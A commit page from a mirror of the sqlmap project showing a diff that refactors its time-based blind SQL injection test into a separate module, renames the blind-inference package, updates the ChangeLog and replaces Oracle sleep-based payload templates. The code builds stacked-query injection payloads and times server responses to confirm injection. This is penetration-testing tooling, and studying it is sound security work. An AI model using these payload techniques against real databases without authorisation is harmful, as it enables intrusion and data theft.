mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-06-17 11:33:27 +03:00
Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file within the lib/techniques/ folder. Renamed lib/techniques/inference to lib/techniques/blind, it is more approriate and adapted the rest of the libraries. Updated ChangeLog file.
This commit is contained in:
parent
9329f8c9c4
commit
ecc4a98071
|
@ -2,10 +2,17 @@ sqlmap (0.6.3-1) stable; urgency=low
|
||||||
|
|
||||||
* Minor enhancement to be able to specify the number of seconds to wait
|
* Minor enhancement to be able to specify the number of seconds to wait
|
||||||
between each HTTP request;
|
between each HTTP request;
|
||||||
|
* Minor enhancement to be able to enumerate table columns and dump table
|
||||||
|
entries also if the database name is not provided by using the current
|
||||||
|
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
|
||||||
|
'USERS' TABLESPACE_NAME on Oracle;
|
||||||
* Minor improvements to sqlmap Debian package files: sqlmap uploaded
|
* Minor improvements to sqlmap Debian package files: sqlmap uploaded
|
||||||
to official Debian project repository;
|
to official Debian project repository;
|
||||||
* Minor bug fix to handle session.error and session.timeout in HTTP
|
* Minor bug fix to handle session.error and session.timeout in HTTP
|
||||||
requests;
|
requests;
|
||||||
|
* Minor bug fix so that when the user provide a SELECT statement to be
|
||||||
|
processed with an asterisk as columns, now it also work if in the FROM
|
||||||
|
there is no database name specified;
|
||||||
* Minor bug fix to correctly dump table entries when the column is
|
* Minor bug fix to correctly dump table entries when the column is
|
||||||
provided;
|
provided;
|
||||||
|
|
||||||
|
|
|
@ -31,6 +31,7 @@ from lib.core.data import kb
|
||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
|
from lib.techniques.blind.timebased import timeTest
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
|
||||||
|
|
||||||
|
@ -70,7 +71,7 @@ def action():
|
||||||
|
|
||||||
# Techniques options
|
# Techniques options
|
||||||
if conf.timeTest:
|
if conf.timeTest:
|
||||||
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
|
dumper.string("time based blind sql injection payload", timeTest())
|
||||||
|
|
||||||
if conf.unionTest:
|
if conf.unionTest:
|
||||||
dumper.string("valid union", unionTest())
|
dumper.string("valid union", unionTest())
|
||||||
|
|
|
@ -65,4 +65,4 @@ ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||||
|
|
||||||
TIME_SECONDS = 5
|
TIME_DELAY = 5
|
||||||
|
|
|
@ -38,10 +38,10 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.settings import TIME_SECONDS
|
from lib.core.settings import TIME_DELAY
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.inference.blind import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
@ -388,8 +388,9 @@ def goStacked(expression, timeTest=False):
|
||||||
TODO: write description
|
TODO: write description
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
comment = queries[kb.dbms].comment
|
||||||
query = agent.prefixQuery("; %s" % expression)
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery("%s; %s" % (query, comment))
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
@ -397,6 +398,6 @@ def goStacked(expression, timeTest=False):
|
||||||
duration = int(time.time() - start)
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if timeTest:
|
if timeTest:
|
||||||
return (duration >= TIME_SECONDS, payload)
|
return (duration >= TIME_DELAY, payload)
|
||||||
else:
|
else:
|
||||||
return duration >= TIME_SECONDS
|
return duration >= TIME_DELAY
|
||||||
|
|
45
lib/techniques/blind/timebased.py
Normal file
45
lib/techniques/blind/timebased.py
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.settings import TIME_DELAY
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
|
||||||
|
def timeTest():
|
||||||
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
|
infoMsg += "'%s'" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = queries[kb.dbms].timedelay % TIME_DELAY
|
||||||
|
timeTest = inject.goStacked(query, timeTest=True)
|
||||||
|
|
||||||
|
if timeTest[0] == True:
|
||||||
|
return timeTest[1]
|
||||||
|
else:
|
||||||
|
return None
|
|
@ -32,7 +32,7 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.techniques.inference.blind import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
|
|
||||||
|
|
||||||
def queryOutputLength(expression, payload):
|
def queryOutputLength(expression, payload):
|
||||||
|
|
|
@ -39,7 +39,6 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.settings import TIME_SECONDS
|
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
@ -69,27 +68,6 @@ class Enumeration:
|
||||||
temp.inference = queries[dbms].inference
|
temp.inference = queries[dbms].inference
|
||||||
|
|
||||||
|
|
||||||
# TODO: move this function to an appropriate file
|
|
||||||
def timeTest(self):
|
|
||||||
infoMsg = "testing time based blind sql injection on parameter "
|
|
||||||
infoMsg += "'%s'" % kb.injParameter
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
# TODO: probably the '; <COMMENT>' will be filled in in all
|
|
||||||
# future time based SQL injection attacks at the end of the
|
|
||||||
# stacked query. Find a way that goStacked() function itself
|
|
||||||
# append it.
|
|
||||||
query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS
|
|
||||||
query += queries[kb.dbms].comment
|
|
||||||
|
|
||||||
self.timeTest = inject.goStacked(query, timeTest=True)
|
|
||||||
|
|
||||||
if self.timeTest[0] == True:
|
|
||||||
return "True, verified with payload: %s" % self.timeTest[1]
|
|
||||||
else:
|
|
||||||
return "False"
|
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -72,7 +72,7 @@
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<comment query="--"/>
|
<comment query="--"/>
|
||||||
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="SELECT UTL_INADDR.get_host_name('10.0.0.%d') FROM DUAL"/>
|
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
||||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user